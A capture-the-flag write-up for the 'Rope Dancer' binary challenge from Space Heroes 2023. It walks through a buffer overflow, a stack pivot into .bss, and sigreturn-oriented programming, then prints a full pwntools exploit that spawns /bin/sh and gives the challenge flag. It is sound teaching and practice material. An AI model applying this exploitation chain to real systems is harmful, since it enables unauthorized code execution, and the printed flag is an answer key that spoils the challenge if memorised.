Space Heroes 2023: Rope Dancer

A circus has just opened near you and you would love to work there as a rope dancer. Perhaps you could access their recruitment criteria to maximize your chances of being selected?

TL;DR

Stack Pivot from a limited initial buffer to a large .bss section, followed by SROP under a constraint environment of limited gadgets available.

Basic File Checks

ROPedancer is a job application program that allows 3 consecutive user inputs. The 1st question is a yes or no question, which we can safely ignore.

A buffer overflow occurs in the email field, leading to a segfault. The second input contains a larger buffer but reads in 400 characters exactly without an obvious BOF.

Not a single protection, so we don't have to worry about any info leaks other than LIBC.

Static Code Analysis

The decompilation is almost unreadable because the entire program is written in assembly. However, we know that there is a small buffer overflow that occurs in the email field (16 bytes), which allows us to fit a small ROP chain there.

On our next input, we have a significantly larger buffer (500 bytes), but BOF does not occur here.

From the assembly above, we know that 500 bytes are allocated in motivation_letter. This is coincidentally the start of the .bss section in our binary.

Stack Pivoting

Our goal is to now build a small ROP chain in our initial buffer to stack pivot into the larger .bss section. Let's try to find a stack pivoting gadget using Ropper. This shows that we can control the value of rsp if we have a precursor way to manipulate rbp.

Turns out pop rbp gadget exists! So we basically fulfill the whole requirement for Stack Pivoting.

Exploit Plan

We have just found a way to pivot into a large buffer via Stack Pivoting. Now let's focus on constructing an ROP chain that leads to a shell or flag.

ret2libc

Looking at the available gadgets, we have a very limited option of pop-based gadgets. The pop rdi gadget used to perform a ret2libc attack is no-where to be seen.

Since the program is written entirely in assembly, there's no dynamic linking of LIBC libraries, and therefore there won't be any GOT entries populated. At this point, ret2libc is practically impossible as there's not a single GOT entry that we can leak to calculate the LIBC base + the lack of gadgets.

SIGROP 🟢

Under a constrained environment where there are a limited number of useful gadgets, we can utilize SROP to control all register values at once by spoofing a fake sigreturn frame. The downside of this is SROP requires a huge buffer size (>300 bytes). This is perhaps why the challenge was designed to have a 500 bytes buffer in the .bss section.

As Sigreturn is considered a special type of syscall, we would still require few gadgets to control the rax registers where the syscall number is stored, outside of the spoofed sigreturn frame.

Solution

Putting everything together, we have a 3 stage payload:

  1. Stage 1: Using the smaller buffer to fit an initial ROP chain to pivot to the larger .bss section.

  2. Stage 2: Write /bin/sh to the start of .bss section, followed by calling syscall 0xf to invoke SIGROP.

  3. Stage 3: Setup the sigreturn frame to call execve(/bin/sh).

solve.py
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './ropedancer'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'DEBUG'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

pop_rbp = 0x0000000000401117        # pop rbp; ret; 
stack_pivot = 0x0000000000401114    # mov rsp, rbp; pop rbp; ret;
syscall = 0x000000000040102f
xor_eax = 0x0000000000401011        # xor eax, eax; inc al; ret;
inc_al = 0x0000000000401013         # inc al; ret;

io.sendlineafter(b'ROPedancer? ', b'yes')

payload = b"A" * 24
payload += p64(pop_rbp)
payload += p64(elf.bss())          # Destination address for Stack Pivot
payload += p64(stack_pivot)        # mov rsp, rbp; pop rbp; ret;
payload += p64(0)                  # Fill up rbp after pop

io.sendlineafter(b'contact you: ', payload)

# SigreturnFrame() allows us to spoof the frame, so we do not require pop rax,rdi,rsi,rdx,rip here
frame = SigreturnFrame()
# syscall number for execve()
frame.rax = 0x3b                
# points to the start of bss which contains the /bin/sh string
frame.rdi = elf.bss()  
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall

# As this is outside of SigreturnFrame(), we can't spoof the registers, so we need a way to set rax to 15
payload = b"/bin/sh\x00"        # Write /bin/sh to the start bss section
payload += p64(xor_eax)         # Sigreturn is syscall 0xf (15), initial value here is 1
payload += p64(inc_al) * 0xe    # Increment 14 more times
payload += p64(syscall)
payload += bytes(frame)

io.sendlineafter(b'hire you: ', payload)
io.interactive()

Flag: Hero{1_w4nN4_b3_4_R0P3_D4nC3r_s0_b4d!!!}

Last updated